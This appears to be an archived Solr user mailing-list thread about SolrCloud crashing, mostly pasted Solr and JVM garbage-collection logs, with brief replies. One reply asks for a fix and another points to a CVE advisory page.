2020-12-20 08:49:17.448 INFO (searcherExecutor-11104-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@3c8ce1f3[sitecore_master_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_27n(6.6.6):C52825/7:delGen=6) Uninverting(_2ca(6.6.6):C3/1:delGen=1) Uninverting(_2d0(6.6.6):C2/1:delGen=1) Uninverting(_2dg(6.6.6):C1) Uninverting(_2dh(6.6.6):C1) Uninverting(_2di(6.6.6):C1)))}
2020-12-20 08:49:17.448 INFO (searcherExecutor-11104-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:17.448 INFO (searcherExecutor-11104-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:17.448 INFO (searcherExecutor-11104-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_master_index_shard1_replica2] Registered new searcher Searcher@3c8ce1f3[sitecore_master_index_shard1_replica2] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_27n(6.6.6):C52825/7:delGen=6) Uninverting(_2ca(6.6.6):C3/1:delGen=1) Uninverting(_2d0(6.6.6):C2/1:delGen=1) Uninverting(_2dg(6.6.6):C1) Uninverting(_2dh(6.6.6):C1) Uninverting(_2di(6.6.6):C1)))}
2020-12-20 08:49:17.448 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:17.452 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:17.452 INFO (searcherExecutor-11105-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@41ee6390[sitecore_core_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_51(6.6.6):C97429)))}
2020-12-20 08:49:17.452 INFO (searcherExecutor-11105-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:17.452 INFO (searcherExecutor-11105-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:17.452 INFO (searcherExecutor-11105-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_core_index_shard1_replica1] Registered new searcher Searcher@41ee6390[sitecore_core_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_51(6.6.6):C97429)))}
2020-12-20 08:49:17.460 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.DefaultSolrCoreState New IndexWriter is ready to be used.
*******************************************
solr_gc.log.0.current (last 300 lines)
*******************************************
2020-12-20T13:48:21.009+0000: 255168.421: Total time for which application threads were stopped: 0.0856811 seconds, Stopping threads took: 0.0000879 seconds
2020-12-20T13:48:22.010+0000: 255169.421: Total time for which application threads were stopped: 0.0004683 seconds, Stopping threads took: 0.0000965 seconds
{Heap before GC invocations=622 (full 4):
par new generation total 1529216K, used 1315981K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 30% used [0x000000064aac0000, 0x00000006505237d0, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 501843K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 137062K, capacity 143289K, committed 146816K, reserved 1175552K
class space used 14833K, capacity 16793K, committed 20100K, reserved 1048576K
2020-12-20T13:48:22.132+0000: 255169.543: [GC (Allocation Failure) 2020-12-20T13:48:22.132+0000: 255169.543: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 17593720 bytes, 17593720 total
- age 2: 11233136 bytes, 28826856 total
- age 3: 14821672 bytes, 43648528 total
- age 4: 7714152 bytes, 51362680 total
- age 5: 8987872 bytes, 60350552 total
- age 6: 8781616 bytes, 69132168 total
- age 7: 6806920 bytes, 75939088 total
- age 8: 2989712 bytes, 78928800 total
: 1315981K->87305K(1529216K), 0.0974558 secs] 1817825K->590305K(7034240K), 0.0975728 secs] [Times: user=0.33 sys=0.00, real=0.09 secs]
Heap after GC invocations=623 (full 4):
par new generation total 1529216K, used 87305K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 28% used [0x000000065d560000, 0x0000000662aa2720, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 502999K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 137062K, capacity 143289K, committed 146816K, reserved 1175552K
class space used 14833K, capacity 16793K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:22.229+0000: 255169.641: Total time for which application threads were stopped: 0.0980298 seconds, Stopping threads took: 0.0000493 seconds
2020-12-20T13:48:24.133+0000: 255171.545: Total time for which application threads were stopped: 0.0003415 seconds, Stopping threads took: 0.0000508 seconds
2020-12-20T13:48:25.133+0000: 255172.545: Total time for which application threads were stopped: 0.0003445 seconds, Stopping threads took: 0.0000438 seconds
2020-12-20T13:48:28.379+0000: 255175.791: Total time for which application threads were stopped: 0.0003456 seconds, Stopping threads took: 0.0000493 seconds
2020-12-20T13:48:28.383+0000: 255175.795: Total time for which application threads were stopped: 0.0002715 seconds, Stopping threads took: 0.0000398 seconds
2020-12-20T13:48:28.386+0000: 255175.797: Total time for which application threads were stopped: 0.0005143 seconds, Stopping threads took: 0.0000321 seconds
2020-12-20T13:48:28.386+0000: 255175.798: Total time for which application threads were stopped: 0.0004173 seconds, Stopping threads took: 0.0000258 seconds
2020-12-20T13:48:32.824+0000: 255180.235: Total time for which application threads were stopped: 0.0003338 seconds, Stopping threads took: 0.0000511 seconds
2020-12-20T13:48:33.824+0000: 255181.236: Total time for which application threads were stopped: 0.0003218 seconds, Stopping threads took: 0.0000406 seconds
2020-12-20T13:48:37.063+0000: 255184.475: Total time for which application threads were stopped: 0.0003412 seconds, Stopping threads took: 0.0000487 seconds
2020-12-20T13:48:37.064+0000: 255184.476: Total time for which application threads were stopped: 0.0004042 seconds, Stopping threads took: 0.0001660 seconds
2020-12-20T13:48:37.065+0000: 255184.476: Total time for which application threads were stopped: 0.0002567 seconds, Stopping threads took: 0.0000758 seconds
2020-12-20T13:48:37.070+0000: 255184.481: Total time for which application threads were stopped: 0.0002137 seconds, Stopping threads took: 0.0000350 seconds
2020-12-20T13:48:37.070+0000: 255184.482: Total time for which application threads were stopped: 0.0002073 seconds, Stopping threads took: 0.0000248 seconds
2020-12-20T13:48:37.307+0000: 255184.719: Total time for which application threads were stopped: 0.0044225 seconds, Stopping threads took: 0.0040327 seconds
2020-12-20T13:48:37.647+0000: 255185.058: Total time for which application threads were stopped: 0.0182042 seconds, Stopping threads took: 0.0178173 seconds
2020-12-20T13:48:37.650+0000: 255185.061: Total time for which application threads were stopped: 0.0017653 seconds, Stopping threads took: 0.0014519 seconds
{Heap before GC invocations=623 (full 4):
par new generation total 1529216K, used 1310729K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 28% used [0x000000065d560000, 0x0000000662aa2720, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 502999K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 138176K, capacity 144459K, committed 147840K, reserved 1177600K
class space used 14955K, capacity 16930K, committed 20100K, reserved 1048576K
2020-12-20T13:48:37.937+0000: 255185.348: [GC (Allocation Failure) 2020-12-20T13:48:37.937+0000: 255185.348: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 14942336 bytes, 14942336 total
- age 2: 15154088 bytes, 30096424 total
- age 3: 10107896 bytes, 40204320 total
- age 4: 11659192 bytes, 51863512 total
- age 5: 7595464 bytes, 59458976 total
- age 6: 8408096 bytes, 67867072 total
- age 7: 8445680 bytes, 76312752 total
- age 8: 6734168 bytes, 83046920 total
: 1310729K->116444K(1529216K), 0.2558742 secs] 1813729K->622386K(7034240K), 0.2559815 secs] [Times: user=0.34 sys=0.01, real=0.26 secs]
Heap after GC invocations=624 (full 4):
par new generation total 1529216K, used 116444K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 38% used [0x000000064aac0000, 0x0000000651c77278, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 505942K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 138176K, capacity 144459K, committed 147840K, reserved 1177600K
class space used 14955K, capacity 16930K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:38.193+0000: 255185.604: Total time for which application threads were stopped: 0.2674818 seconds, Stopping threads took: 0.0110443 seconds
2020-12-20T13:48:38.223+0000: 255185.635: Total time for which application threads were stopped: 0.0106445 seconds, Stopping threads took: 0.0103558 seconds
2020-12-20T13:48:38.223+0000: 255185.635: Total time for which application threads were stopped: 0.0002633 seconds, Stopping threads took: 0.0000559 seconds
2020-12-20T13:48:39.224+0000: 255186.636: Total time for which application threads were stopped: 0.0003790 seconds, Stopping threads took: 0.0000879 seconds
{Heap before GC invocations=624 (full 4):
par new generation total 1529216K, used 1339868K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 38% used [0x000000064aac0000, 0x0000000651c77278, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 505942K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 139186K, capacity 145501K, committed 148864K, reserved 1177600K
class space used 15069K, capacity 17067K, committed 20100K, reserved 1048576K
2020-12-20T13:48:39.702+0000: 255187.113: [GC (Allocation Failure) 2020-12-20T13:48:39.702+0000: 255187.113: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 17678152 bytes, 17678152 total
- age 2: 11648912 bytes, 29327064 total
- age 3: 11331352 bytes, 40658416 total
- age 4: 9084360 bytes, 49742776 total
- age 5: 11634736 bytes, 61377512 total
- age 6: 4590416 bytes, 65967928 total
- age 7: 1172176 bytes, 67140104 total
- age 8: 1151952 bytes, 68292056 total
: 1339868K->94095K(1529216K), 0.0960289 secs] 1845810K->603123K(7034240K), 0.0961559 secs] [Times: user=0.30 sys=0.01, real=0.09 secs]
Heap after GC invocations=625 (full 4):
par new generation total 1529216K, used 94095K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 30% used [0x000000065d560000, 0x0000000663143d40, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 509027K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 139186K, capacity 145501K, committed 148864K, reserved 1177600K
class space used 15069K, capacity 17067K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:39.798+0000: 255187.210: Total time for which application threads were stopped: 0.0967015 seconds, Stopping threads took: 0.0001023 seconds
{Heap before GC invocations=625 (full 4):
par new generation total 1529216K, used 1317519K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 30% used [0x000000065d560000, 0x0000000663143d40, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 509027K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 139186K, capacity 145501K, committed 148864K, reserved 1177600K
class space used 15069K, capacity 17067K, committed 20100K, reserved 1048576K
2020-12-20T13:48:40.928+0000: 255188.340: [GC (Allocation Failure) 2020-12-20T13:48:40.928+0000: 255188.340: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 13854592 bytes, 13854592 total
- age 2: 13721048 bytes, 27575640 total
- age 3: 10694864 bytes, 38270504 total
- age 4: 10954168 bytes, 49224672 total
- age 5: 8551688 bytes, 57776360 total
- age 6: 10467048 bytes, 68243408 total
- age 7: 4565464 bytes, 72808872 total
- age 8: 1172176 bytes, 73981048 total
: 1317519K->91927K(1529216K), 0.0911666 secs] 1826547K->602097K(7034240K), 0.0912943 secs] [Times: user=0.30 sys=0.00, real=0.10 secs]
Heap after GC invocations=626 (full 4):
par new generation total 1529216K, used 91927K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 30% used [0x000000064aac0000, 0x0000000650485f90, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 510169K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 139186K, capacity 145501K, committed 148864K, reserved 1177600K
class space used 15069K, capacity 17067K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:41.020+0000: 255188.431: Total time for which application threads were stopped: 0.0918330 seconds, Stopping threads took: 0.0000482 seconds
2020-12-20T13:48:43.699+0000: 255191.111: Total time for which application threads were stopped: 0.0004647 seconds, Stopping threads took: 0.0001136 seconds
2020-12-20T13:48:47.904+0000: 255195.316: Total time for which application threads were stopped: 0.0003439 seconds, Stopping threads took: 0.0000517 seconds
2020-12-20T13:48:47.908+0000: 255195.320: Total time for which application threads were stopped: 0.0002962 seconds, Stopping threads took: 0.0000383 seconds
2020-12-20T13:48:47.910+0000: 255195.321: Total time for which application threads were stopped: 0.0002409 seconds, Stopping threads took: 0.0000306 seconds
2020-12-20T13:48:47.910+0000: 255195.322: Total time for which application threads were stopped: 0.0001750 seconds, Stopping threads took: 0.0000231 seconds
2020-12-20T13:48:52.362+0000: 255199.774: Total time for which application threads were stopped: 0.0003530 seconds, Stopping threads took: 0.0000494 seconds
2020-12-20T13:48:53.362+0000: 255200.774: Total time for which application threads were stopped: 0.0003189 seconds, Stopping threads took: 0.0000394 seconds
2020-12-20T13:48:56.584+0000: 255203.996: Total time for which application threads were stopped: 0.0003383 seconds, Stopping threads took: 0.0000466 seconds
2020-12-20T13:48:56.585+0000: 255203.997: Total time for which application threads were stopped: 0.0004173 seconds, Stopping threads took: 0.0001587 seconds
2020-12-20T13:48:56.586+0000: 255203.997: Total time for which application threads were stopped: 0.0002520 seconds, Stopping threads took: 0.0000666 seconds
{Heap before GC invocations=626 (full 4):
par new generation total 1529216K, used 1315351K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 30% used [0x000000064aac0000, 0x0000000650485f90, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 510169K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 140295K, capacity 146671K, committed 149888K, reserved 1179648K
class space used 15191K, capacity 17204K, committed 20100K, reserved 1048576K
2020-12-20T13:48:56.760+0000: 255204.172: [GC (Allocation Failure) 2020-12-20T13:48:56.760+0000: 255204.172: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 18816520 bytes, 18816520 total
- age 2: 11598728 bytes, 30415248 total
- age 3: 10282032 bytes, 40697280 total
- age 4: 10591040 bytes, 51288320 total
- age 5: 8152904 bytes, 59441224 total
- age 6: 8471280 bytes, 67912504 total
- age 7: 7780584 bytes, 75693088 total
- age 8: 4560824 bytes, 80253912 total
: 1315351K->110911K(1529216K), 0.1190864 secs] 1825521K->622241K(7034240K), 0.1192235 secs] [Times: user=0.33 sys=0.00, real=0.12 secs]
Heap after GC invocations=627 (full 4):
par new generation total 1529216K, used 110911K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 36% used [0x000000065d560000, 0x00000006641afee0, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 511329K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 140295K, capacity 146671K, committed 149888K, reserved 1179648K
class space used 15191K, capacity 17204K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:56.880+0000: 255204.291: Total time for which application threads were stopped: 0.1198311 seconds, Stopping threads took: 0.0001299 seconds
2020-12-20T13:48:56.915+0000: 255204.327: Total time for which application threads were stopped: 0.0030210 seconds, Stopping threads took: 0.0026756 seconds
2020-12-20T13:48:56.916+0000: 255204.328: Total time for which application threads were stopped: 0.0003943 seconds, Stopping threads took: 0.0000810 seconds
2020-12-20T13:48:57.258+0000: 255204.670: Total time for which application threads were stopped: 0.0084442 seconds, Stopping threads took: 0.0080366 seconds
2020-12-20T13:48:57.580+0000: 255204.992: Total time for which application threads were stopped: 0.0083228 seconds, Stopping threads took: 0.0080306 seconds
2020-12-20T13:48:57.580+0000: 255204.992: Total time for which application threads were stopped: 0.0002848 seconds, Stopping threads took: 0.0000470 seconds
{Heap before GC invocations=627 (full 4):
par new generation total 1529216K, used 1334335K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 36% used [0x000000065d560000, 0x00000006641afee0, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 511329K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
2020-12-20T13:48:58.277+0000: 255205.688: [GC (Allocation Failure) 2020-12-20T13:48:58.277+0000: 255205.688: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 17809712 bytes, 17809712 total
- age 2: 12580960 bytes, 30390672 total
- age 3: 10496120 bytes, 40886792 total
- age 4: 9361232 bytes, 50248024 total
- age 5: 8999456 bytes, 59247480 total
- age 6: 984224 bytes, 60231704 total
- age 7: 1153112 bytes, 61384816 total
- age 8: 1231144 bytes, 62615960 total
: 1334335K->90468K(1529216K), 0.1031277 secs] 1845665K->602801K(7034240K), 0.1032390 secs] [Times: user=0.25 sys=0.01, real=0.11 secs]
Heap after GC invocations=628 (full 4):
par new generation total 1529216K, used 90468K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 29% used [0x000000064aac0000, 0x0000000650319300, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 512332K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:58.380+0000: 255205.792: Total time for which application threads were stopped: 0.1037183 seconds, Stopping threads took: 0.0000326 seconds
{Heap before GC invocations=628 (full 4):
par new generation total 1529216K, used 1313892K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 29% used [0x000000064aac0000, 0x0000000650319300, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 512332K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
2020-12-20T13:48:59.458+0000: 255206.870: [GC (Allocation Failure) 2020-12-20T13:48:59.458+0000: 255206.870: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 14871496 bytes, 14871496 total
- age 2: 14790840 bytes, 29662336 total
- age 3: 11182184 bytes, 40844520 total
- age 4: 8914472 bytes, 49758992 total
- age 5: 9222456 bytes, 58981448 total
- age 6: 8851216 bytes, 67832664 total
- age 7: 984224 bytes, 68816888 total
- age 8: 1153112 bytes, 69970000 total
: 1313892K->77038K(1529216K), 0.0912848 secs] 1826225K->590591K(7034240K), 0.0914103 secs] [Times: user=0.28 sys=0.00, real=0.09 secs]
Heap after GC invocations=629 (full 4):
par new generation total 1529216K, used 77038K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 25% used [0x000000065d560000, 0x000000066209b8f8, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 513553K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
}
2020-12-20T13:48:59.550+0000: 255206.961: Total time for which application threads were stopped: 0.0919677 seconds, Stopping threads took: 0.0000675 seconds
{Heap before GC invocations=629 (full 4):
par new generation total 1529216K, used 1300462K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 25% used [0x000000065d560000, 0x000000066209b8f8, 0x0000000670000000)
to space 305792K, 0% used [0x000000064aac0000, 0x000000064aac0000, 0x000000065d560000)
concurrent mark-sweep generation total 5505024K, used 513553K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
2020-12-20T13:49:00.703+0000: 255208.114: [GC (Allocation Failure) 2020-12-20T13:49:00.703+0000: 255208.114: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 15556648 bytes, 15556648 total
- age 2: 11515832 bytes, 27072480 total
- age 3: 13871888 bytes, 40944368 total
- age 4: 11017048 bytes, 51961416 total
- age 5: 8543856 bytes, 60505272 total
- age 6: 8934840 bytes, 69440112 total
- age 7: 6409944 bytes, 75850056 total
- age 8: 984224 bytes, 76834280 total
: 1300462K->104662K(1529216K), 0.0964632 secs] 1814015K->619358K(7034240K), 0.0965772 secs] [Times: user=0.31 sys=0.00, real=0.10 secs]
Heap after GC invocations=630 (full 4):
par new generation total 1529216K, used 104662K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 0% used [0x0000000600000000, 0x0000000600000000, 0x000000064aac0000)
from space 305792K, 34% used [0x000000064aac0000, 0x00000006510f5ba0, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 514695K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 141293K, capacity 147713K, committed 150656K, reserved 1179648K
class space used 15305K, capacity 17341K, committed 20100K, reserved 1048576K
}
2020-12-20T13:49:00.799+0000: 255208.211: Total time for which application threads were stopped: 0.0971351 seconds, Stopping threads took: 0.0000473 seconds
2020-12-20T13:49:02.797+0000: 255210.208: Total time for which application threads were stopped: 0.0004068 seconds, Stopping threads took: 0.0000932 seconds
2020-12-20T13:49:02.802+0000: 255210.213: Total time for which application threads were stopped: 0.0005752 seconds, Stopping threads took: 0.0000386 seconds
2020-12-20T13:49:07.024+0000: 255214.436: Total time for which application threads were stopped: 0.0003405 seconds, Stopping threads took: 0.0000484 seconds
2020-12-20T13:49:07.028+0000: 255214.439: Total time for which application threads were stopped: 0.0002818 seconds, Stopping threads took: 0.0000443 seconds
2020-12-20T13:49:07.029+0000: 255214.441: Total time for which application threads were stopped: 0.0002421 seconds, Stopping threads took: 0.0000310 seconds
2020-12-20T13:49:07.030+0000: 255214.441: Total time for which application threads were stopped: 0.0001765 seconds, Stopping threads took: 0.0000236 seconds
2020-12-20T13:49:11.459+0000: 255218.870: Total time for which application threads were stopped: 0.0006820 seconds, Stopping threads took: 0.0000482 seconds
2020-12-20T13:49:12.459+0000: 255219.871: Total time for which application threads were stopped: 0.0003323 seconds, Stopping threads took: 0.0000424 seconds
2020-12-20T13:49:15.692+0000: 255223.103: Total time for which application threads were stopped: 0.0003758 seconds, Stopping threads took: 0.0000498 seconds
2020-12-20T13:49:15.693+0000: 255223.105: Total time for which application threads were stopped: 0.0005146 seconds, Stopping threads took: 0.0002772 seconds
2020-12-20T13:49:15.693+0000: 255223.105: Total time for which application threads were stopped: 0.0002687 seconds, Stopping threads took: 0.0000779 seconds
2020-12-20T13:49:15.823+0000: 255223.235: Total time for which application threads were stopped: 0.0020539 seconds, Stopping threads took: 0.0016997 seconds
2020-12-20T13:49:16.131+0000: 255223.543: Total time for which application threads were stopped: 0.0004334 seconds, Stopping threads took: 0.0001019 seconds
2020-12-20T13:49:16.132+0000: 255223.544: Total time for which application threads were stopped: 0.0003927 seconds, Stopping threads took: 0.0000906 seconds
{Heap before GC invocations=630 (full 4):
par new generation total 1529216K, used 1328086K [0x0000000600000000, 0x0000000670000000, 0x0000000670000000)
eden space 1223424K, 100% used [0x0000000600000000, 0x000000064aac0000, 0x000000064aac0000)
from space 305792K, 34% used [0x000000064aac0000, 0x00000006510f5ba0, 0x000000065d560000)
to space 305792K, 0% used [0x000000065d560000, 0x000000065d560000, 0x0000000670000000)
concurrent mark-sweep generation total 5505024K, used 514695K [0x0000000670000000, 0x00000007c0000000, 0x00000007c0000000)
Metaspace used 142404K, capacity 148883K, committed 151680K, reserved 1181696K
class space used 15427K, capacity 17478K, committed 20100K, reserved 1048576K
2020-12-20T13:49:16.326+0000: 255223.738: [GC (Allocation Failure) 2020-12-20T13:49:16.326+0000: 255223.738: [ParNew
Desired survivor size 281817904 bytes, new threshold 8 (max 8)
- age 1: 15682264 bytes, 15682264 total
- age 2: 12857360 bytes, 28539624 total
- age 3: 10397096 bytes, 38936720 total
- age 4: 11542384 bytes, 50479104 total
- age 5: 8212800 bytes, 58691904 total
- age 6: 8508888 bytes, 67200792 total
- age 7: 8577976 bytes, 75778768 total
- age 8: 6088624 bytes, 81867392 total
: 1328086K->96951K(1529216K), 0.1894382 secs] 1842782K->612623K(7034240K), 0.1895793 secs] [Times: user=0.32 sys=0.00, real=0.19 secs]
Thanks again,
Victor
Re: SolrCloud keeps crashing
Posted by Satish Silveri <sa...@gmail.com>.
I am facing the same issue. Did u find any solution for this?
--
Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html
Re: SolrCloud keeps crashing
Posted by TK Solr <tk...@sonic.net>.
Oops, I should have referenced this document rather:
https://www.tenable.com/cve/CVE-2019-17558
